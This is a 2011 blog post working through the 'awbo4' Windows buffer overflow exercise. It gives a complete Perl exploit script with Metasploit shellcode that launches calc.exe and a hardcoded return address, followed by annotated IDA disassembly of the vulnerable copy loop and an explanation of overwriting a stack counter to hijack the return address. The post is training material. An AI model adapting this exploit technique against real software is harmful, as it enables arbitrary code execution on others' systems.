Saturday, July 16, 2011

Advanced Windows Buffer Overflows: awbo4

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$buf = "B" x 128;              # 128 bytes of filler

$buf .= "\x8b";                 # overwrite count so it points to ret

$buf .= "\x78\x43\xf8\x77";     # jmp ecx from ntdll.dll

$buf .= "A";                    # "A" so that the ret branch is taken

$buf .= "A" x 27;               # 27 bytes of filler

$buf .= $shellcode;             # shellcode

print $buf;

Here are my notes on IDA's output.
...

loc_401011:
mov     eax, stru_406030._cnt   ; copy cnt from a structure into eax--buf count
sub     eax, 1                  ; subtract 1 from it
mov     stru_406030._cnt, eax   ; copy it back to the structure
cmp     stru_406030._cnt, 0     ; compare cnt against 0
jl      short loc_40104B        ; if cnt is less than 0, jump to loc_40104B
mov     ecx, stru_406030._ptr   ; copy pointer to buf into ecx
movsx   edx, byte ptr [ecx]     ; copy what ecx points to into edx
and     edx, 0FFh               ; mask off everything except lsb--character from buf
mov     [ebp+var_8C], edx       ; copy character to ebp-140
mov     eax, stru_406030._ptr   ; copy pointer to buf into eax
add     eax, 1                  ; add 1 to it
mov     stru_406030._ptr, eax   ; copy it back to structure
jmp     short loc_40105E        ; jump to loc_40105E

loc_40104B:             ; FILE *
push    offset stru_406030      ; push a pointer to a FILE structure onto the stack
call    __filbuf                ; call filbuf() -- takes input from stdin and writes it to a buffer in the data section?
add     esp, 4                  ; clean up function parameters
mov     [ebp+var_8C], eax       ; copy return value--first character of buf--to ebp-140

loc_40105E:
mov     cl, byte ptr [ebp+var_8C]       ; copy ebp-140 into low order byte of ecx--character to copy from data section to stack
mov     [ebp+var_4], cl                 ; copy low order byte of ecx to ebp-4
movsx   edx, [ebp+var_4]                ; copy and sign extend? ebp-4 to edx
cmp     edx, 41h                        ; compare edx to 0x41 ("A")
jz      short loc_40108D                ; if edx equals "A", jump to loc_40108D--return path
mov     eax, [ebp+var_8]                ; copy ebp-8 into eax--counter on stack
and     eax, 0FFh                       ; mask off everything except lsb
mov     cl, [ebp+var_4]                 ; copy ebp-4 into lsb of ecx
mov     [ebp+eax+var_88], cl            ; copy lsb of ecx to the stack based on ebp + counter in eax - 88
mov     dl, byte ptr [ebp+var_8]        ; copy counter in ebp-8 into lsb edx
add     dl, 1                           ; add 1 to counter
mov     byte ptr [ebp+var_8], dl        ; copy it back to ebp-8
jmp     short loc_401011                ; jump back to loc_401011

loc_40108D: -- return path

...

retn                            ; gimme your calc.exe
_main endp

awbo4 calls a function, filebuf(), that takes input from stdin and writes it somewhere in data land.

Then it loops through this buffer testing each character against 'A'. If an 'A' is seen, it breaks out of the loop and main returns, else it copies the character onto the stack. Fortunately for me, it just blindly copies characters to the stack without bounds checking.

There's an additional counter on the stack at ebp-8, that controls where on the stack the next character is written. This counter itself, can be overwritten. If this counter is carefully overwritten, it lets me overwrite main()'s saved return address

On return, ECX conveniently points to a piece of the input buffer, letting a call ecx instruction execute some shellcode.

No comments:

Post a Comment